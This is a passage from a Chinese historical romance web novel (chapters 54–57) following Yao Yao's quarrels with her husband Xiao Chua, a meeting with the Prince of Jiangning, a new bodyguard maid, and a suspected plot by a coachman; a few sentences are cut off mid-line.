她因为要跟宓瑶赔罪觉得心乱,就没把潘氏跟在她身边当回事,现在一想,真觉得潘氏是来看热闹,不然好端端她跟着她上楼做什么。
“我也是来向九嫂嫂赔罪。”
潘氏挤出了一抹笑,她到现在都不明白,常旋克怎么就死了。
她不相信常旋克是醉死,但事到如今,常旋克死了是事实,萧欻提前得到了赵天赫重用也是事实。
这种情况下她若是想有以后,就必须想法子紧紧贴着萧欻。
她比曾*氏更能低下身段,哪怕在宓瑶面前给萧欻示好被拒,她现在也能装作无事给宓瑶赔罪,抓住机会观察宓瑶到底是何方神圣。
她之前没把宓瑶当回事,觉着她就是持美行凶,没脑子的蠢女人,但那么久下来,她发现她竟然从没在宓瑶手上讨过好。
常旋克的事给了她一个警醒,若是宓瑶不像她想的没脑怎么办。
就拿宓瑶新开的铺子来说,赵天赫当年给每个养子养女都送了铺面,她有一家点心铺就在宓瑶铺子的旁边。
宓瑶开店被她视为对她的挑衅,想着宓瑶不会懂什么经营铺面,一定是惨败收场,谁晓得店铺开张进出的客人络绎不绝,先头去的可能是捧萧欻的场,但后面进去的就是被卤肉铺霸道的香味吸引。
她刚刚上楼,在茶馆大厅就有人从卤肉铺打包了卤菜尝鲜,油纸包一打开芳香四溢,光是香就算了,尝味道的人一边尝一边大叫特别,看着就像是宓瑶请的托。
酱油色那么重一定咸的要命,怎么会就好吃了?
“三嫂的赔罪我接,但你就算了,我怕我前脚喝了你倒的赔罪茶,后脚你就去找萧欻说‘姐姐喝了我敬的茶,同意了我留在九哥身边,求九哥怜惜则个’。”
宓瑶拿腔拿调地学潘氏说话,甄婧听着逗趣,忍不住笑出了声。
笑完见潘氏面色难看,她咳了声:“潘娘子还是不要为难我家嫮嫮了,你说的那些丢人现眼的话,莫说萧家的下人,我与嫮嫮的兄长也听得完整,寡妇再嫁没什么,但你这般上杆子贴男人是不是太厚脸皮了些。”
甄婧说话毫不留情,那日潘氏上门她不在现场,事后听到觉得离谱至极,什么样女子能那么不要脸,上人家家门斥责当家夫人,还当着人家夫人的面对郎君示好。
“若不是嫮嫮劝说,我相公少不得去节度使府邸问问赵公是如何教导养女,怎么教出了那么个没有面皮的娘子。”
甄婧越说眼眸越加锐利,她不是乱编,当天虞少阳晓得潘氏说的话,当即就要去找赵天赫,宓瑶说女眷之问的事没必要闹到让节度使费神,加上潘氏没讨到好,虞少阳才暂时按下。
谁想到潘氏不吃教训,竟然还来缠着宓瑶。
潘氏被甄婧说的脸色发白,她不信宓瑶的兄长因为一点小事就去找赵天赫问责,但谁知道呢,有宓瑶那么个疯癫的妹妹,说不定虞少阳脑子也有问题。
赵天赫把她留在节度使府居住,但疼爱是有限的,若是虞少阳找上门,哪怕赵天赫不重罚她,也会消磨父女之问的情分。
“我只是想赔罪……”
潘氏眼眸含泪,“我那日鬼迷心窍,话根本不是出自真心,九嫂既然不信,往后我不会再在九嫂的面前出现,我不过是个无父无母又没了丈夫的可怜人,虞家嫂嫂不必威胁我……”
“你说自个无父无母跟父君说过没有。”
在潘氏眼泪掉下来之前,宓瑶打岔问道,“少做这副情态,要晓得我这个人最喜欢跟长辈告状。”
潘氏一噎。
她亲生父母早早去世,平日里说自个无父无母也没人说什么,就宓瑶能骨头里挑刺,找到这些疏漏。
见潘氏收起了哭脸离开,屋中的人都叹为观止,特别是曾氏,想到往常潘氏与她说的那些宓瑶的坏话,哪还不晓得她被人当枪使了。
*
在茶铺坐了片刻,等到萧善萧良吃饱发困,几人准备回程。
甄婧和孩子走在前头先上了车,宓瑶则是打算再去店里看一眼。
也就这几步的功夫,宓瑶面前就多了道阴影。
感觉到面前站了高个的男人,宓瑶第一反应就是萧欻闲着没事来她面前晃荡,抬眸才发现是不是。
面前的男子个头与萧欻差不多,但身形要单薄不少,头上带着玉冠,也是窄面但眉目要比萧欻温和不少,瞧着有几分儒雅气质
隐约觉得男子俊美的相貌有几分眼熟,还没等她想出来,对方就先与她打了招呼问好。
“虞娘子,许久不见了。”
客气的语调含着一丝感慨,对上对方的眸子,宓瑶恰时在原主记忆里翻出了对方是谁。
“给郡王请安。”
宓瑶福了福身子,认出对方是萧欻前几日提过的江宁郡王。
之前萧欻提及他,她没放心上,没想到今日就遇到了。
只是在这个地方在这个时辰,想就应该不是纯粹的巧遇,而是刻意的碰见。
瞧着江宁郡王情绪复杂的面色,说起来他算是原主桃花里最像样的一个。
求娶原主失败后到现在也没有娶妻,模样也比桓冠斌要好,在她看来他的温和俊美跟萧欻攻击性的英俊平分秋色。
不过按着大兴的审美,江宁郡王要更符合大众对男子貌好的定义。
相貌好又有权有钱,原主却更喜欢桓冠斌,觉得桓冠斌那般才能全心全意地把她摆在第一位,身份地位越不过她才更能捧着她。
那么一想怎么能说原主不理智。
原主分明挺清楚自己要什么,只是手段狠戾了些。
唐檀邑来益州之前,关于宓瑶他想了千言万语,但真见着人就发现什么言语都是枉然。
当初他在江南游玩时对宓瑶一见钟情,那时他想只有江南第一美人才配得上他,谁知道遇上了淮南节度使与他争抢。
那时少年意气,立下誓言若娶不到虞家宓瑶,他便终生不娶。
这些年过去,他原想着当初是意气用事,对宓瑶的几分喜欢早就淡化,但如今再见她,他发现一见钟情的喜欢哪是几年就能淡忘的情绪。
再看宓瑶的面容他依然心动,不过他已经不是当初那个莽撞不经世事的少年,他会来益州寻求合作,就不会因为儿女情长耽误正事。
“想必萧镇使对虞娘子极好,虞娘子比起以往气色好了许多。”
以往宓瑶就是一株仙气环绕却没开花的花骨朵,而如今则是吸了仙气,开到极妍的魏紫。
只是可惜让她盛开的不是他。
“谢郡王挂心。”
唐檀邑长的赏心悦目,态度又客气有礼,宓瑶不介意与他搭几句话,“郡王看着也容光焕发。”
唐檀邑轻笑:“可能是因为得了赵公援手,解了燃眉之急,所以愁眉舒展,看着有了几分精神。”
既然现在得不到宓瑶,唐檀邑就不打算与她多说,免得克制不住自己的心思让旁人看出。
只是走之前他忍不住轻叹了口气,柔和的五官挂上了一丝落寞。
“赵公柔远能迩,益州是好地方,你能嫁到这儿是好事,当年是我轻狂,若非我一再求娶也不会耽误你。”
唐檀邑拱了拱手,“只望虞娘子往后康宁顺遂,煕愉绥安。”
顿了顿,他想到了什么又道:“若是萧镇使对我有所误会,我愿去向他解释清楚,我们从未有过情谊,不过是我年少为争一时意气的君子好逑,若害虞娘子承担莫须有的误会,鄙人难辞其咎。”
瞧着越走越近的萧欻,宓瑶再看唐檀邑多了几分探究,怀疑他是背后长了眼睛,才能在恰如其分的时刻,说出这句让萧欻能听得清清楚楚的澄清。
第55章 第五十五章【VIP】
“郎君你听着了,你若是有误会就与郡王说清,可别事后生闷气偷偷把气撒在我身上。”
宓瑶瞧着走近的萧欻,说完就让在了一边,一副你们打架斗殴随意,别牵连她就好的模样。
感觉到宓瑶的自在与随意,唐檀邑面露惊讶,朝萧欻拱手,接着宓瑶的话道:“萧镇使可要与我同去茶馆稍坐片刻。”
“不必,我来接我夫人回府,往后有空再与郡王商酌公务。”
既然特意说是公务,那就是不把方才他说的误会放在心上。
听出萧欻的弦外之音,唐檀邑笑了笑:“镇使雅量弘高,怎么会信没影的谣言,是我以小人之心度君子之腹。”
萧欻没否认他的话。
“我娶我夫人便是图她貌美,窈窕淑女君子好逑,只能道同我一般有眼光的人不少,与她有什么干系。”
听出萧欻占有意味极强的划分界限,唐檀邑想到坊间疯传的常旋克死因,不再接话,向两人告辞后就识趣地先走一步。
人一走萧欻就看向了宓瑶,在她脸上看到了可惜的表情。
知道她不是不舍唐檀邑,而是可惜他跟唐檀邑没有打起来,让她没有热闹看,萧欻冷呵。
宓瑶还没察觉他又哪儿别扭了,见人走了,便看向萧欻:“郎君这是盯着江宁郡王,晓得他来跟我制造巧遇,就急匆匆的过来,还是纯粹靠着醋味的指引,十分凑巧地走到了这条街,遇到了我与江宁郡王?”
两种猜测都不是什么好话,萧欻睨了宓瑶一眼,转身就走。
到了拴马的地方,萧欻翻身上马,马蹄嗒嗒声从近至远,看着萧欻消失的背影,宓瑶想起了他方才跟唐檀邑说的来接她。
这是接人的样子?
还有她刚才说的话他没听到?让他有脾气就朝唐檀邑发,不要偷偷朝她撒气。
他还真是都反着来。
本来不错的心情被无名火覆盖,宓瑶去铺子里看了眼今日赚的银钱才消气。
谁想到她气消了,萧欻这个让人火冒三丈的源泉又出现在面前。
“你怎么又回来了?”
触到宓瑶脸上的嫌弃,萧欻眼角眉梢都挂上了冰霜:“你没听我说,我来是接你回去。”
“今个不是初一也不是十五,我不要你接。”
消下去的脾气又涌了上来,宓瑶肩头重重撞过他走在了前头。
只是撞完宓瑶潇洒的步伐就是一个踉跄,她想到让萧欻吃疼,却忘记了他的体型和肌肉密度,两人一撞,她差点没站稳摔倒,萧欻身体却连晃都没晃一下。
见状,萧欻脸上的冰霜化了一半,嘴角翘了翘。
他高兴了宓瑶就得生气。
宓瑶甩开了萧欻扶她的手,继续大步往前走,不过她没走两步就被萧欻追上。
周围不知道有多少双目光,萧欻也不碰宓瑶,只是走在她旁边。
等到快到了停放马车的地方,他余光触见她发红的眼眶,握住了她的手腕。
“因为我?”
萧欻语气中满是不解,上一眼还好好的,怎么这一刻就眼睛红了一圈,连带鼻头也浮起薄红,整个人一句话不说,看也不看他一眼,但委屈模样就像是从他这里受了天大的欺辱。
宓瑶甩萧欻的手甩不掉,就把他的手抱到嘴边啃咬。
萧欻注意着周围的人,不想让人看热闹,所有情绪都是收着,但宓瑶不一样。
她下了死力气,萧欻皱眉叫了松口也不松。
对上她红的浓郁的眼眸,萧欻真不懂他肉都快被她咬掉了,怎么反而是她越来越委屈。
“你是狗吗?”
感觉到制止不了宓瑶,萧欻干脆任由她了,等到她一嘴巴是血,吓得松开他的手,他甩了甩手上混合了唾液的血珠,睨向宓瑶,声音带了丝狠意:“我被你咬成这样,你若是还敢哭你且看看我会如何。”
宓瑶不怕萧欻的威胁,但她也没本事因为跟他唱反调,就能硬挤出哭不出来的眼泪。
掏出帕子擦了嘴上的血。
见淡粉色绣帕染上水红,意识到这点血液里大多都是她的口水,她只后悔刚刚松口的太快,应该再多咬一刻。
反复擦了几次嘴,确保嘴上没了痕迹,宓瑶才去交代让马夫驾车先走,而她走到了萧欻的马匹前头:“抱我上去。”
听到宓瑶霸道的指示,萧欻盯着她六礼的问名时,虞家是不是隐了你有疯疾?”
便是夜间他弄疼了她,她也未曾像。
她松嘴的神态分明是因为觉着血液腥臭不想再咬下去,而不是害怕真咬掉他一块肉。
,我难不成这幅样子去吓他们。””
“你的血你怕什么。”
宓瑶眼里满是不服输,萧欻确定若是他不如她的意抱她上马,她就能把他另一只手也给咬了。
伸手抹掉了她下颌上血迹,他单手掐住她的腰把她放在了马上。
宓瑶上马后见萧欻没上了,背后没有墙可靠,她看着倏然升高的风景,有些高处不胜寒,身体默默地往前倾斜了不少。
“你怎么不上来?”
“不想与有疯疾的娘子共骑,怕她推我下马摔断了脖子。”
见萧欻一边说,一边拉着缰绳往前走,宓瑶怀疑他是贼喊捉贼,想要趁机摔断她的脖子。
“人来人往你堂堂萧镇使就甘愿当我的马僮?”
激将法对萧欻无用,他继续牵着马往前走:“你也晓得人来人往。”
她咬他的路口人不多,但只要有一人看见,迟早就能传遍益州城。
“你有脾气刚才应该跟唐檀邑决斗,朝我冷嘲热讽什么?”
“听江宁郡王的意思,你们两人连话都没说过几句,你倒是记性好,记得他姓甚名谁。”
听出萧欻话中的醋意,宓瑶抱着马脖子,侧脸低眸看他。
萧欻也任由她看。
半晌后,见宓瑶那双发亮的眸子依然定定落在他身上,眼眸还有越来越亮的趋势,但就是不说话,他才开口道:“脖子疼吗?”
说完也不等宓瑶的回答又道,“疼就对了,我平日看你眼眸也得那么低,看得久了脖颈酸的都忘了脖子还有抬起这个动作。”
“萧郎你还是沉默不语时比较英俊,你如今这般一句接着一句,就像是想得到心仪的女子青睐,又不懂如何表现,所以嘴巴不停的说违心话,仿佛越这般说自己的心意就藏匿的越好,实际上你的心思明显的如同写在脸上。”
萧欻嘴里的话一顿,宓瑶以为他被她说中了尴尬,谁晓得下一刻他便不耐烦地看向她:“还不下来,是打算骑到房里去?”
宓瑶抬眸一看,才发现不知不觉与萧欻说了一路,说的马踏进了萧府她都没注意。
“你凶什么,到了你不抱我下来,那么高我能飞下来不成。”
说着宓瑶张开双臂等萧欻抱她,就见萧欻翘了翘嘴角,还没等她思索他嘴角的笑意是什么意思,就感觉身下猛然一降,她吓得失声尖叫,紧紧抱住了马脖子,等到身下的马不动了,她才发现刚刚的动静是马屈膝降低高度让她下马。
跨下马后,宓瑶握拳给了萧欻一拳。
而结果跟她撞他肩膀一样,他纹丝不动,疼痛全都落到了她身上。
想着她看了眼萧欻垂着的手。
她拿了帕子擦拭嘴唇,他却只是甩了甩手,大部分的血迹还留在手上。
此时干掉的血迹斑驳,她留下的那圈溢血的咬痕格外显眼。
也不知道他这般是想保留罪证还是什么。
“虞宓瑶你是真有疯疾,还是今日出门被疯狗咬了染了疯狗病。”
胸膛挨了一拳虽然不疼,但萧欻还是眉心微拧,不知宓瑶怎么突然喜欢动手动脚起来。
而她这一切的变化都是在见了唐檀邑之后。
“我想打你,你该想想你哪儿做的不对惹怒了我,而不是觉着我得了病才对你这般。”
宓瑶高傲地扬起了下颌,“你该听过一个词是恃宠而骄,我既晓得你欢喜我欢喜的不得了,我做什么还要低声下气地讨好你,该你讨好我了。”
萧欻瞧她的模样,怒极反笑:“你是话本看多了,不止眼里看,心中也编了起来,想得倒美。”
“哇,你偷偷去看我平日看什么书!”
宓瑶像是逮到了萧欻什么把柄,食指指着他,觉着自个已经成了绝对胜者,眉眼是满溢的愉悦,不等萧欻辩驳就心满意足地走了。
见她自顾自要乐上天的模样,萧欻冷着脸把马牵到了马厩。
给马添了苜蓿与菽,玄马吃料前先舔了舔他的掌心,把他手上凝固的血痕舔走,反复舔舐了他手上的牙痕几次,才安心低头吃料。
萧欻往马身上一靠,不必宓瑶亲口告诉他恃宠生娇,他这些日子早感觉到了她对他越来越随意。
只是相比于她说的他什么心思都写在脸上,他怀疑是她在用计谋,用这种方式来诱导他,让他对她越来越纵容,然后让他觉得他像是她说的那样,欢喜她欢喜的不得了。
所以一切不过虞女的手段罢了。
还有她说什么低声下气,她何曾对他低声下气,他看得分明,就连她方才一脸傲慢的仰头,脸上也流露媚态,声音甜嗲,姿态看似嚣张实际还在刻意地勾他。
人看着疲懒,但在勾引他的事上却没有半刻停歇。
*
回到房里宓瑶第一时间就漱了口,清水来回在嘴里吞/吐了几次,含了一颗薄荷蜜饯才觉着嘴里的血腥味一扫而空。
她也不知自个怎么会那么情绪上头,抓住萧欻的手就咬,但不得不说冲动过后的感觉却十分舒爽。
萧欻当做看不见她先走,她气他不把她当回事,而他走了又倒回来,她怒的是他控制不住对她退让了,却不够乖还要先气她一下才学聪明。
后者的情绪比前者更上头,就如同她与萧欻说的,明知道他处在弱势,她做什么还要受委屈,自然是仗着他此刻的心仪作威作福。
毕竟男人的感情如朝露遇阳,消散极快。
她现在不多享受他的纵容,往后没了她还怎么张牙舞爪。
“夫人,镇使送过来的娘子等了有些时刻了,夫人是现在见她,还是明日再见?”
见宓瑶洗漱好躺下,诗雅想起在院外等待的齐娘,跟主子提了一句。
“送来的娘子?”
宓瑶眨了眨眼,猜想不会是萧欻愚蠢又反胃,因为不想她处在情感高位,就弄了个女人来表现他的男性魅力?
“这娘子以前在董家住着,好像是大姑子那儿的事了了,镇使就把人送了过来。”
诗雅一说宓瑶就想起了萧欻说过的,一只手能捏死董家全家的厉害娘子,一下子就来了精神翻身坐起:“把人叫进来。”
第56章 第五十六章【VIP】
萧欻往董家派人后,宓瑶就再没听过萧柔的消息。
如今听到萧柔的事结束,她顿时好奇了起来,萧欻既然派了人护着萧柔,萧柔就不可能死了,只能是董家人兵败如山倒,给这件事画上了休止符。
齐娘是个模样英气的女子,看着天生爱笑,眼角有细细的笑纹,一踏入屋子就朝宓瑶露出了白牙:“齐蕙见过夫人,夫人牙口可真好,我瞧见镇使手上的咬痕出了血,怕是要留一阵的疤子。”
察觉齐娘是爽朗的性子,宓瑶直接道:“那是他自个讨咬。”
“夫人说的没错,定然是镇使的错,他现在还在马厩边上反省呢。”
齐娘哈哈大笑,她想早些见到自已以后的主子,听到马车进府就过去了,没想到宓瑶不在,之后她在府邸乱晃,恰好就看到了她的前主子在马厩站着。
漠然如煞神的神色看着与往常没什么不同,偏生她就是看出他周身寂寥笼罩,手被咬了没人理会,只能伸着手让马舔舐抚慰。
笑了几声,齐娘利落的单膝跪地朝宓瑶行礼。
“原先镇使把我留在大娘子那儿,让我帮大娘子在董家站稳脚跟,却未让我认她为主,如今董家事了,镇使召我回府,问我愿不愿跟随夫人,我自是愿的,若是夫人留我,镇使往后就是我的旧主。”
听到诗雅说齐娘是萧欻送来,宓瑶就想到了萧欻有意把齐娘给她,但听到齐娘这般说,她还是觉得惊喜。
她身边有身材魁梧的婆子与丫头,但都是没学过武的,遇到寻常的内宅夫人还能恐吓一二,真遇到硬茬子就没了威慑力。
按着她得罪人的速度,齐娘来她身边就是给她安全增加了一层保障。
宓瑶扶起了她:“天降的好事我为何不愿,你先与我说是董家的事,咱们再聊其他。”
她这会好奇董家与萧柔的结局,薪资待遇可以稍后再说。
“董家一家子都是欺软怕硬的货色,我武力震慑一二他们就成了缩头乌龟。”
说起董家齐娘一脸不屑,一家子十多个人,一个有血性的都没有,让洗脚就洗脚,明明平日懒得端水都要萧柔端,但因为怕她的拳打脚踢,让抗大包卖苦力就抗大包。
“董家本来有个小儿子在读书,我见他生的愚笨读不出什么玩意,就让他停了学去给人抄书赚钱,而他读了几年书,果真就是读进了狗肚子里,人头猪脑,抄的文章不是字丑就是漏字,银子没赚到反而赔了我的买肉钱。”
“然后?”
宓瑶听得双眼放光,觉着齐娘不止拳脚厉害,讲故事也娓娓道来,是个说书的好手。
“他亏得太多,我觉着他抗包赚不回几个钱,就把他扔进了小倌馆。夫人别误会,我不是要逼良为娼,只是让他当龟公多得些赏钱,谁想到他自个不学好,勾了个出手大方的老头,让老头给他弄了个小宅子搬出董家。”
延展地说了几句董四郎被老头原配找上门,扒光了扔在大街上的奇景,齐娘又继续道:“董四郎成了旁人的外室,也就不算董家人了,我就没再问董四郎要银子,而是转而让其他董家人加把劲,多赚些银子拿回家好给我添新衣裳,谁知道他们心狠手毒竟然买了砒霜想给我下药。”
“按着那家人的性子,亲手给你下应该不敢,他们是让婆姐动手?”
“夫人猜得没错,董家人买了药之后想要萧大娘子动手,也算我这段时间的言传身教有用,萧大娘子被董家人威逼利诱,犹豫了半天还是没听他们的话下药,而是把事情偷偷告诉了我。”
对于萧柔第一时间是犹豫,而不是直接把下药告诉她,她已经没脾气了。
她不明白明明是同样的爹娘生的,为何镇使砍人头如同切瓜,萧柔却是受气包的性子。
而且要是纯纯受气包就算了,萧柔的受气包还有点窝里横的架势,对着董家害怕至极,对她就时时没数。
大约是知道她是萧欻派到董家,只会找董家人的麻烦,不会伤害她这个镇使的亲阿姐。
“晓得他们要给我下药,我自然又是一顿好打,董家人受不住要休了萧大娘子,萧大娘子不愿,董家人就改口说是和离,这般萧大娘子还是不愿,说她是董家人若是离了董家不知道能去哪。”
“镇使只嘱咐我让萧柔别挨欺负,我也就没管这摊子事,萧大娘子见我不宽慰她,更是不愿意和离离开董家,这般纠缠了一个月,董家一家子偷偷卖了老宅与铺面,连夜收拾包袱跑了。”
他们也没跑出益州,而是去了,想要等到萧柔走了以后再回城里。
不过走容易回来难,她按着萧欻的吩咐,追上董家人让董贾在和离文书上按了押,因为这趟公差来回太远,她便问董家人要了差旅费,扒了他们一层皮才重返益州城内。
“就他们一家子懒货,益州城内有住处才能世世代代不挪窝,如今去了乡下哪还有上来的本事。”
了宅子跑了,剩下萧柔一人在城内,怔了怔:“所以大姐如今在哪?”
既没有进萧府,也没听萧府旁边的陪宅住了人,萧欻总不会让人无家可归在外流浪吧?
“镇使给了她两个选择,住,二是在城内给她租处宅子,给她付租子,
齐娘说着想起萧柔听到这两个选择,凄凄惨惨地跟她道“你晓得我为何不愿离了董家人了吧?二郎自小孤僻冷漠,他一直记着我犯的错,董家人走了,他也不会让我上他家去住,没了董家我就是无枝可依的浮萍”。
这话听得齐娘连连皱眉,谁也看,是因为她之前的表现太差,对她太过失望。
这般她不想着好好表现,反倒怨起了萧欻多管闲事,让她往后不再是董萧氏。
“萧大娘子最后选了留在城内,她原以为我会一直陪着她,晓得我要走后,如今已经管一个鳏夫叫上了大哥。”
她把这事报给萧欻,萧欻说不必管。
的确是不必管,和离文书萧欻没有给萧柔,也没告诉萧柔,所以萧柔就是再叫人大哥,也只能叫叫,她以为自个还是董家妇,没法子再嫁给萧欻又弄出一个姐夫。
说完了萧柔的事,齐娘又说了她自个:“我爹是镖师,与我娘都死在了翼州的战乱里,我哥在镇使旗下当兵,原本我女扮男装跟着我哥也在军营,后头被发现就被镇使拎了出来。”
虽然没留她在军中,但萧欻还是给她找了事做。
原本她就不喜欢跟一大群没事就开黄腔,身上一股味的男人混在一起,就恢复了女装到处给萧欻跑腿。
“能跟着夫人真是太好了,天晓得我多想待在都是娘子的人堆里,在董家就萧大娘子一个人爱洁,其他董家人臭的跟我在军营差不多。”
齐娘一进萧府内院就觉得到了天宫,春花开满了院落,幽香阵阵,侍女们都穿得整齐妥帖,特别是见着宓瑶。
有这样的新主子,她觉得自个都香了两分。
“夫人放心,属下认主不认人,夫人完全不必担心我两边当奴才,把夫人的事与镇使说,属下只会把镇使的事告诉夫人。”
齐娘的承诺听得宓瑶巧笑嫣兮,晓得萧欻给她多少月钱后,直接给她加了三倍。
因为萧欻给的不高,宓瑶给加了三倍,也只是比霜华的高一些。
不过霜华往后有了铺子的分成就另论了。
收下了萧欻送来的齐娘,宓瑶也没与萧欻破冰搭话,日子一直到了萧欻出发要去江宁的前日,萧欻进了宓瑶的屋子就开始脱外裳。
“我一去不知几月才能归,提前把该给你的给你。”
这话说得厚脸皮至极,宓瑶原本没看他,闻言惊讶地抬起了眼,打量他有没有脸红。
说的像是她多喜爱在榻上摇一样。
明明是他每次都像饿狼扑食,眼眸散发绿光像是没见过肉一样。
“郎君怕是给不了,那日你气我,把我癸水气得提前,你只是落了几滴血,而我却是血流成河。”
宓瑶瞧了眼他手上依然痕迹明显的牙痕,不见他有找块布包着遮丑的意思,也不知他这两日他是如何与旁人说的。
“我气你?”
没想到时隔两天宓瑶还不忘恶人先告状。
宓瑶手搭在肚子上,人懒洋洋地靠着软枕,一副比甄婧还像是孕妇需要休养的模样,萧欻见状有心与她斗几句嘴。
不过触到她不同往常的发白唇色,他把脱下的外裳又穿回了身上。
这是做不成运动,干不成事,就要利落滚了?
宓瑶不再看他,低头继续看手中的话本,不过迟迟没听到关门的声响。
片刻听到他的声音响起。
“不会我去完江宁回来,你便死了吧?”
“……你要么伸手过来再让我咬一口,要么就现在气死我。”
萧欻走近软榻,没伸手到她嘴边,而是居高临下地戳了她的脑袋,让她的脸庞抬高,“你既不要命,血流尽而死跟被我气死有什么区别。”
那次挑明了她服用麝香后,他没跟她再提过这事,任由她自生自灭,而她还真就自生自灭了。
他说她不是不会怀只是难怀和容易滑胎后,她就只是记着每次让他弄出去,或者是入的太深,她就用这个当借口让他收着点别让她小产而死。
语气不像是害怕,而是纯纯找借口逃过他的攻势。
除此之外她身上的香味没有一点减淡的意思,每次大汗淋漓之后,潮热就会将她身上辛辣的麝香氤氲满屋,连带他身上也染满了她的味道。
她到底是多怕生出流有他一半血脉的孩童,明知道会早衰也要避子?
他原本以为他不在意这事,但时间越长他心中那团燥火就越旺,让他看到她就想捏死她。
她要是干脆没了,他心里也不会有那些说不清的波动。
“我既离开,你可以停了麝香丸。”
对上宓瑶圆瞪的杏眸,萧欻从牙缝中挤出这几个字。
他觉得他这是把事摆在台面,表达了他对她容忍,事实上宓瑶的确也听明白了这是他的退让。
只是她的反应不如他意。
就见带着愤怒的杏眸因为他的话波光潋滟,闪闪发光:“郎君走了我也得吃,郎君莫是忘了,洞房那日你大方地让我去尝试别的男子,虽然赵五郎被赶出益州,但益州还有旁的男子,我怎么能不服药。”
宓瑶的眼眸忽闪忽闪,透着乖巧灵动,但说出的话让萧欻想把戳着她额头的手换到掐在她修长白净的颈子上。
对视了片刻,宓瑶的感官都被萧欻的戾气笼罩,以为他要大开杀戒,让她彻底的血流成河,但最终萧欻还是收回了视线,几息后宓瑶听到了“砰”的关门声。
抚了抚紧张的心口,宓瑶翘起嘴唇。
这回终于是爽了。
第57章 第五十七章【VIP】
萧欻离开益州那日,宓瑶起了个大早去送人。
不是她舍不得萧欻想多看一眼是一眼,而是一把子的人情世故。
常旋克这个大兴帝派到益州的观察使死在益州,看着像是赵天赫目无天威,不把大兴帝当回事,但赵天赫后脚就接受了唐檀邑的求援,与他结盟对付心思渐野的淮南节度使。
结盟这事不管赵天赫是不想放着淮南节度使壮大势力,还是看好唐檀邑,反正唐檀邑是宗亲,他这动作都算是打了大兴帝一巴掌又给了颗甜枣。
虽然杀了你派来的观察使,可我这不是帮你侄子攘外安内了。
因为这个赵天赫场面搞得十足,要在城门上给援助江宁的兵将敬酒。
既然有仪式,她身为萧欻的夫人,自然要在场送行。
困倦地与萧欻对视一眼,宓瑶就转过了视线去看剑南军。
剑南军的军装是黑色,一眼往下黑压压的一片,看不清模样反倒给他们增加了神秘感,可以根据他们的宽肩窄腰给他们幻想一张不错的脸。
也算有些趣味。
看新鲜男人看出了神,等到听到鼓声宓瑶再看萧欻的时候,视野中只剩了他的背影。
穿着赤色护甲的*背影挺阔笔直,高了寻常男人半个头,因为身高体型□□的马比其他人大了半倍有余。
两两相加,萧欻在人群中就是鹤立鸡群的鹤,就是正眼不看他,余光也会瞟向他。
萧欻走后,赵天赫把宓瑶叫到身边,道了声辛苦。
“知晓你们新婚燕尔,但欻儿尚是需要经验的年岁,这几年你们怕都要这般聚少离多,辛苦你为他驻守后方,主持萧府中馈与照料几个孩子,让他没有后顾之忧。”
宓瑶不觉得聚少离多有什么不好,她最近还嫌萧欻回萧府太频繁。
若是萧欻这一走能去一年半载,她定然找个不用爬山的寺庙多上点香油钱。
“郎君与父君才是辛苦,与之相比,我能做的都是小事。”
“事无大小,能把孩子教好可不容易。”
赵天赫与亡妻感情深厚,自然知道管家养育孩子不是一件小事,“上次李夫子提起萧家大郎满口称赞,李夫子还与我说你是个好母亲,有你教导大郎往后必定成才。”
这夸奖宓瑶听得一愣一愣,因为萧善与萧良喜欢黏着她,她就多看顾了他们几分,至于萧翼,因为性子省事,她也就平日在吃饭时遇到了会带他一两句。
只是这般就是个好母亲了吗?
“还是因为大郎听话。”
“你好他们才听话。”
赵天赫对宓瑶很满意,不止是因为她用心照顾孩子,还因为萧欻有了她之后,沉寂的进取心像是倒了油点了火。
若说萧欻没血性,益州城的兵将恐怕都要说这话放屁。
萧欻成名的那战一千人埋伏了一万人,在援兵受阻的情况下获胜后还有余力找寻食物返程,跟援军夹击敌方,打了对方一个措手不及。
但他看来萧欻就是没有血性。
萧欻从大字不识一颗的大头兵爬到如今的位置,不是因为他运道好,而是他身上藏不住的天赋与能耐。
哪怕性子冷淡不爱交际,萧欻只要在人群中就会被人自觉当做头狼追随,唯一让人觉得可惜是他的野心只停留在胜。
一个男人再厉害,若是没有一步登天的野心,只甘愿做旁人手上的刀,那他的厉害就要打上对折。
这也是他挑选继任上几番犹豫的原因。
他丧儿丧女,又迟迟不在赵家旁支或是养子中挑选继任培养,剑南官员早有动摇,怕他一死剑南就四分五裂,他们没有少主可从,下场与跟他殉葬无异。
除却那些誓死忠心他的旧人,其他人早就各有各的心思,这也是为什么一个不入流的常旋克到益州,整座城就蠢蠢欲动的原因。
这个时候萧欻杀人杀得正好,他在众目睽睽之下动手结果了常旋克的命。
这就是有血性!
不管萧欻是因为嫌周围不长眼的人太多,想展露自己的锋芒,还是一怒为美人,他都满意萧欻那一瞬间让所有人胆寒的威势。
“等到欻儿这趟差事回来,我多给他几日休沐,你们早早怀上自个的孩子才好,你们俩的孩子定然聪慧,生而便是人中龙凤。”
赵天赫哈哈大笑,宓瑶低眸装羞,只能委屈了,她不排斥生育属于自己的孩子,但在这个医学手段不发达,孩子生了况下,不生才是对孩子充满母爱。
福身送赵天赫离开,宓瑶等着城门前的人走得差不多了,才叫齐娘把马夫唤到路口。
“夫人,咱们是直接回府,
她说的铺子不是卤肉铺,而是另一间宓瑶最近在修的新店。
看了虞琇她们弄的卤肉铺之后,宓瑶对装饰店面有了兴趣,跟虞少阳闲谈时聊起,发现他有渠道可以从江南购到好茶运到益州。
既然有了销售的品类,宓瑶就开始亲手设计两层的店面,打算把铺子
这几日她只要出门就是为了去看铺子。
“不了,我要回府先睡一觉再说。”
宓瑶捂嘴打了一个哈欠。一上车脑袋就歪在了软枕上,一副疲惫不堪的模样。
“车厢摇晃,夫人还是靠在我肩上吧。”
齐娘说完就觉得肩头一重,嗅着香喷喷的夫人,齐娘不敢想平日里萧欻过得都是什么好日子。
怕打扰了宓瑶休息,齐娘小心翼翼不敢乱动,等过了片刻,她倏然皱起了眉,一手扶着宓瑶脑袋,一手小心掀开了旁侧窗布。
“怎么?”
脑袋落在了齐娘温热的手心上,宓瑶揉了揉眼,哪怕还没清醒过来,也从齐娘的紧绷中感觉到是出了事。
齐娘塞了把匕首给宓瑶:“这马夫有鬼,夫人随我出去。”
看到齐娘严肃的表情,宓瑶怔了怔,送个萧欻也能送出事?
不等宓瑶多想,齐娘就已经掀开了车帘,刀同时伸了出去。
快到约定的地方,马夫晓得车内的人在休息,犹豫着是把人送到,还是壮着胆子给两人一人一刀拿到更多的奖赏。
就在这时脖子上倏然多了把泛着寒光的刀刃,马夫甚至没感觉到齐娘是什么时候掀开的帘子,一时间吓得瑟瑟发抖。
“夫人饶命,小的可什么都没做……”
